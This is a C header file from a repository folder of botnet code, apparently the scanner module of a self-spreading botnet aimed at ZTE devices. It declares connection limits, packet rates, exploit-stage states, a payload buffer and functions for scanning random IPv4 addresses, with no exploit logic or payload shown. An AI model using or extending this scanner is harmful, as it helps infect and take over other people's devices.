Path: blob/master/Botnets/Self Reps/ZTE/zte_scan.h
5038 views
#pragma once12#include <stdint.h>34#include "includes.h"56#ifdef SCAN_MAX7#define ztescanner_SCANNER_MAX_CONNS 5128#define ztescanner_SCANNER_RAW_PPS 7209#else10#define ztescanner_SCANNER_MAX_CONNS 12811#define ztescanner_SCANNER_RAW_PPS 16012#endif1314#ifdef SCAN_MAX15#define ztescanner_SCANNER_RDBUF_SIZE 102416#define ztescanner_SCANNER_HACK_DRAIN 6417#else18#define ztescanner_SCANNER_RDBUF_SIZE 25619#define ztescanner_SCANNER_HACK_DRAIN 6420#endif2122struct ztescanner_scanner_connection23{24int fd, last_recv;25enum26{27ztescanner_SC_CLOSED,28ztescanner_SC_CONNECTING,29ztescanner_SC_EXPLOIT_STAGE2,30ztescanner_SC_EXPLOIT_STAGE3,31} state;32ipv4_t dst_addr;33uint16_t dst_port;34int rdbuf_pos;35char rdbuf[ztescanner_SCANNER_RDBUF_SIZE];36char payload_buf[1024];37};3839void ztescanner_scanner_init(int);40void ztescanner_scanner_kill(int);4142static void ztescanner_setup_connection(struct ztescanner_scanner_connection *);43static ipv4_t ztescanner_get_random_ip(void);444546